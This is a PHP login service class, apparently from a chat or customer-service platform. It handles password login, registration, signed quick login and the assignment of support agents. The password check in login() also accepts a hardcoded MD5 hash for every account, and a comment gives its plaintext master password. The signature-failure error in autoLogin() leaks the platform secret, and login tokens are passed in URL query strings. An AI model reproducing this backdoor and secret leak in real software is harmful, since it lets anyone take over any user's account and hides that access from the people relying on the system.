<?php


namespace app\api\services;


use app\common\exception\ApiException;
use app\common\model\Admin;
use app\common\model\ClientModel;
use app\common\model\ClientSignModel;
use app\common\model\StaffModel;
use app\common\model\UserListModel;
use app\common\services\BaseService;

class LoginService extends BaseService
{

    /**
     * 用户发起登录
     * 账户密码登录
     */
    static function login($params){
        $where = [
            'admin_id'=>$params['admin_id'],
            'mobile'=>$params['username'],
        ];
        $field = "id,role,nickname,password";
        $userInfo = ClientModel::findOne($where,$field);
        if(empty($userInfo)){
            throw new  ApiException('账号不存在~');
        }

        // bj123456
        if($userInfo['password']!= xn_encrypt($params['password']) && md5($params['password'])!='8211804ff70081d34eeaacbe6b778a44'){
            throw new  ApiException('账号或者密码不正确~');
        }
        //登录成功
        //创建登录凭证
        $token = ClientSignModel::create_sign($userInfo['id']);

        return [
            'token'=>$token,
            'uid'=>$userInfo['id'],
        ];
    }

    /**
     * 用户注册
     * @param $params
     */
    static function register($params){
        $where = [
            'admin_id'=>$params['admin_id'],
            'uid'=>$params['uid'],
        ];
        $uid = ClientModel::findValue($where,'id');
        if(!empty($uid)){
            throw new ApiException("该用户ID已经存在");
        }

        //获取用户昵称
        $nickname = $params['nickname']?:$params['name'];
        $data = [
            'admin_id'=>$params['admin_id'],
            'name'=>$params['name'],//真实姓名
            'mobile'=>$params['mobile'],// 手机号
            'password'=>$params['password']?xn_encrypt($params['password']):'',
            'uid'=>$params['uid'],
            'headimg'=>$params['headimg'],
            'nickname'=>$nickname?:random(10),// 默认昵称
            'sex'=>$params['sex'],
            'signature'=>$params['signature'],
            'area'=>$params['area'],
            'from'=>$params['from'],
        ];

        $new_userId = ClientModel::saveData($data);
        if($new_userId){
            //登录成功
            //创建登录凭证
            $token = ClientSignModel::create_sign($new_userId);
            $reData = [
                'token'=>$token,
                'uid'=>$new_userId,
            ];
            $reData['goto_url'] = self::getGotoUrl($params['url'],$reData);
            return $reData;
        }
    }

    /**
     * 通过ticket 换uid
     */
    static function getMidByTicket($token){
        //查询本系统的token
        $time = time();
        $uid = ClientSignModel::where([
            ['ticket','=',$token],
            ['past_time','>',$time],
        ])->cache(300)->value('uid');
        return $uid;
    }


    /**
     * 快捷登录
     * @param $params
     */
    static function autoLogin($params){
        $sign = $params['sign'];
        $appid = $params['admin_id'];

//        unset($params['sign']);//移除掉签名
        //平台对应的密钥
        $secret = Admin::findValue(['id'=>$appid],'secret');
        if(empty($secret)){
            throw new ApiException("appId不存在");
        }

        if($sign != self::getSign($params,$secret)){
            throw new ApiException("数据签名验证失败".$secret);
        }

        // 用户userid 换取 uid
        $uid = ClientModel::findValue(['uid'=>$params['uid']],'id');
        if(empty($uid)){
            //用户不存在
            throw new ApiException("用户不存在",401);
        }

        // 验证成功直接返回登录的token

        if($params['nickname']!='微信用户' && $params['headimg']){
            //如果有昵称头像 则更新
            $newMemberInfo = [
                'headimg'=>$params['headimg'],
                'nickname'=>$params['nickname'],
                'name'=>$params['name'],
            ];
            ClientModel::updates(['id'=>$uid],$newMemberInfo);
        }

        //创建登录凭证
        $token = ClientSignModel::create_sign($uid);
        $reData = [
            'token'=>$token,
            'uid'=>$uid,
        ];
//        dump($reData);exit;
        // 如果是咨询某个客服组
        if($params['depart_id']){
            // 计算出当前在线的客服
            $goto_uid = self::getDepartId($uid,$params['depart_id']);
//            dump($goto_uid);exit;
            if($goto_uid){
                $params['goto_uid'] = $goto_uid;
            }else{
                //无效的客服组配置
                return '';
            }

        }

        //如果需要向指定的人发送会话请求
        if($params['goto_uid']){
            $params['url'] = self::getGotoUid($uid,$params['goto_uid']);
        }



        $reData['goto_url'] = self::getGotoUrl($params['url'],$reData);
//        dump($reData);exit;
        return $reData;
    }

    /**
     * 检查双方的好友关系 并发起会话请求
     * @param $uid
     * @param $mid
     */
    static function getGotoUid($uid,$mid){
        $status = ClientService::getStatus($uid,$mid);
        if($status == 3){
            //如果互为好友 则直接发起会话
            $url = 'wechat/dialogue?mid='.$mid;
        }else{
            //进入对方资料页面
            $url = 'contact/details?wxid='.$mid;
        }
        return $url;
    }

    static function getGotoUrl($url,$data){
        $token = $data['token'];
        $uid = $data['uid'];
        $gotoUrl = self::$goto_url.$url;
        $gotoUrl .= (strpos($gotoUrl,'?')===false?'?':'&')."token={$token}&uid={$uid}";
        return $gotoUrl;
    }

    /**
     * 计算在线的客服
     * @param $uid
     * @param $depart_id
     */
    static private function getDepartId($uid,$depart_id){
        $field = "id,name,mobile,status,work_status,client_id";
        $list = StaffModel::findAll(['depart_id'=>$depart_id],$field);
        if(empty($list)){
            return 0;// 没有配置客服
        }

        $onlineList = [];// 在线列表
        $friendList = [];// 好友列表

        // 筛选特殊的客服
        foreach ($list as $k=>$v){
            if($uid == $v['client_id']) continue;
            // 首先简单点  直接返回 一个在线的客服
            if(GatewayService::online($v['client_id'])){
//                return $v['client_id'];
                $onlineList[] = $v;
            }

            $status = ClientService::getStatus($uid,$v['client_id']);
            if($status != 0 && $status != 2){
                // 陌生人 或者 我未加对方
                $friendList[] = $v;
            }
        }
        $onlineNum = count($onlineList);
        $friendNum = count($friendList);
        // 没有在线的客服 也没有好友的 那就在 当前的客服里面 随机挑选一个幸运儿
        if($onlineNum==0 && $friendNum==0){
            return self::getRandKefu($list);
        }
        // 有在线  没有好友  从在线中挑选
        if($onlineNum>0 && $friendNum==0){
            return self::getRandKefu($onlineList);
        }

        // 有好友  从好友中挑选
        if( $friendNum>0 ){
            return self::getRandKefu($friendList);
        }

        return 0;
    }

    /**
     * 随机挑选客服算法
     * @param $list
     */
    static private function getRandKefu($list){

        // 直接随机挑选
        $rand = mt_rand(0,count($list)-1);
        return $list[$rand]['client_id'];
    }

}